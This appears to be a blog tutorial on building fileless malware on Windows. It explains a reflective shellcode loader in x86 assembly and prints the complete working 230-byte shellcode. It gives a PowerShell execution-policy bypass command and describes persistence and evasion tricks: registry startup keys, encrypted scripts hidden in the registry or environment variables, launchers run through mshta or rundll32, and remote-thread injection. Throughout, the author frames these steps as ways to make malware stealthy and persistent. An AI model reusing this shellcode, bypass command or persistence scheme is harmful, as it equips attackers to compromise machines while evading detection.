Introduction to Fileless Malwares & Implementation



A fileless malware is a malware that doesn't drop any executable on disk. Stealthier than the usual malwares, they have been on the rise with the growth of script languages like PowerShell and WMI scripts.

PowerShell has been available on Windows since Windows 7. You can find an awesome article about PowserShell attack capabilities and detection here : PowerShell Security: PowerShell Attack Tools, Mitigation, & Detection.

During my research, I came across these talks raising awareness about the attack potential of PowerShell and WMI and how they can be abused by fileless malwares :

Modus Operandi

The idea is to combine those tools :

...To create a persistent malware ecosystem that is able to execute code and doesn't require to write any file on disk (except the first dropper, of course). This was made possible mostly by the expansion of PowerShell scripts, based on the .NET framework, that can basically perform everything C# can.

Registry keys can be protected on access using this trick or the one described here to prevent regedit from displaying and deleting the keys, and their content is usually hidden under several layers of encryption and obfuscation like Base64, XOR etc. It makes it difficult to figure out how the malware works and leaves few prints.

Examples of Fileless Malwares

Implementation with PowerShell & ASM

Reflective Shellcode Loader

'Reflective Loader' means that the shellcode has to dynamically get handles to key functions like LoadLibraryA() and GetProcAddress() by going through the export table of a library (here kernel32.dll) loaded by the host process and locating the functions' address. This allows the shellcode to be position-independent by building its own import table and work when executed in memory. This means we will be able to load a PE (in the form of the shellcode) or a DLL entirely from memory. In this article, we will showcase this method by coding a shellcode that loads a library in the PowerShell process.

Since kernel32.dll is always loaded by a PE, the shellcode will always be able to locate LoadLibraryA() and GetProcAddress(), which means it can then easily load and locate other librairies and functions the standard way giving us the same capabilities as a PE file or a DLL written on disk would.

I adapted this C code by Stephen Fewer in x86 Assembly.

I uploaded the commented code here : reflective_loadlibrary.asm.

First, we need to get the PEB and go through several data structures to get to the linked list containing the names of the libraries that are loaded by the host process. Then, we hash each name and compare it with the hash of 'kernel32.dll'. Once we located the library in memory, we can read its header until we find the IMAGE_EXPORT_DIRECTORY structure illustrated below. You can find information about those structures here and here.

We can now locate the LoadLibraryA() function by iterating through the AddressOfNames and AddressOfNameOrdinals fields and compare each name hash with the hash of 'LoadLibraryA'. When we have a match, we use AddressOfNameOrdinals to figure out at which position in the AddressOfFunctions array the LoadLibraryA() address is located.

We end up with the following 230 bytes shellcode :

0x60, 0x83, 0xC4, 0xC0, 0xFC, 0x31, 0xD2, 0x64, 0x8B, 0x52, 0x30, 0x8B, 0x52, 0x0C, 0x8B, 0x52, 
0x14, 0x8B, 0x72, 0x28, 0xB9, 0x18, 0x00, 0x00, 0x00, 0x31, 0xFF, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 
0x7C, 0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF0, 0x81, 0xFF, 0x5B, 0xBC, 0x4A, 
0x6A, 0x8B, 0x5A, 0x10, 0x89, 0x5D, 0xFC, 0x8B, 0x12, 0x75, 0xD6, 0x8B, 0x4B, 0x3C, 0x01, 0xD9, 
0x83, 0xC1, 0x18, 0x83, 0xC1, 0x60, 0x89, 0x4D, 0xF8, 0x8B, 0x09, 0x01, 0xD9, 0x51, 0x83, 0xC1, 
0x24, 0x8B, 0x09, 0x01, 0xD9, 0x89, 0x4D, 0xF4, 0x59, 0x51, 0x83, 0xC1, 0x1C, 0x8B, 0x09, 0x01, 
0xD9, 0x89, 0x4D, 0xF0, 0x59, 0x83, 0xC1, 0x20, 0x8B, 0x09, 0x01, 0xD9, 0x8B, 0x11, 0x01, 0xDA, 
0x89, 0xD6, 0x51, 0xB9, 0x18, 0x00, 0x00, 0x00, 0x31, 0xFF, 0x31, 0xC0, 0xAC, 0x3C, 0x61, 0x7C, 
0x02, 0x2C, 0x20, 0xC1, 0xCF, 0x0D, 0x01, 0xC7, 0xE2, 0xF0, 0x81, 0xFF, 0xBA, 0x18, 0x7B, 0x11, 
0x59, 0x74, 0x15, 0x83, 0xC1, 0x04, 0x8B, 0x11, 0x03, 0x55, 0xFC, 0x89, 0xD6, 0x8B, 0x55, 0xF4, 
0x83, 0xC2, 0x02, 0x89, 0x55, 0xF4, 0xEB, 0xCA, 0x8B, 0x55, 0xF0, 0x03, 0x55, 0xFC, 0x31, 0xC0, 
0x8B, 0x4D, 0xF4, 0x66, 0x8B, 0x01, 0xBA, 0x04, 0x00, 0x00, 0x00, 0xF7, 0xE2, 0x8B, 0x55, 0xF0, 
0x01, 0xC2, 0x8B, 0x12, 0x03, 0x55, 0xFC, 0xC6, 0x45, 0xE3, 0x00, 0xC6, 0x45, 0xE2, 0x6C, 0xC6, 
0x45, 0xE1, 0x6C, 0xC6, 0x45, 0xE0, 0x64, 0xC6, 0x45, 0xDF, 0x2E, 0xC6, 0x45, 0xDE, 0x31, 0x8D, 
0x45, 0xDE, 0x50, 0xFF, 0xD2, 0x61

I decided to get a handle to LoadLibraryA() and load a DLL that displays a MessageBox (1.dll) to make sure the shellcode worked but the goal is obviously to load other useful DLLs and get the address of GetProcAddress() so we can then use it to easily call any function we need without having to go through the same finding process everytime.

PowerShell Script

The shellcode above must be executed in a 32-bit process so make sure to use the 32-bit PowerShell executable located at this path :


PowerShell inject script : inject_loadlibrary.ps1.

The PowerShell script was adapted from the Matthew Graeber version that is also used by Monsoon APT as we can see in the ForcePoint report. Kovter uses a different one decoded by @Hasherezade that can be found here : Both work just fine.

You won't be able to run the script right away because of the PowerShell Execution Policy. Fortunately, Windows kindly provides a simple way to bypass it and execute PowerShell scripts :

powershell -noexit -executionpolicy bypass -File script.ps1

So, now that we have a PowerShell script executing the shellcode, we have multiple choices. The most straight forward is to add a startup key in the registry that contains a command line launching the PowerShell script stored in the registry. We can also use some of Kovter obfuscation tricks like writing the script in an environment variable, or hide the encrypted PowerShell script in another key and launch a Javascript script with mshta.exe or rundll32.exe on startup that will decode and execute it... As long as we achieve persistence.

The next step is to modify the PowerShell script and use CreateRemoteThread() to inject the shellcode in a remote 32-bit process. You can find such a script on clymb3r's blog.

Related links :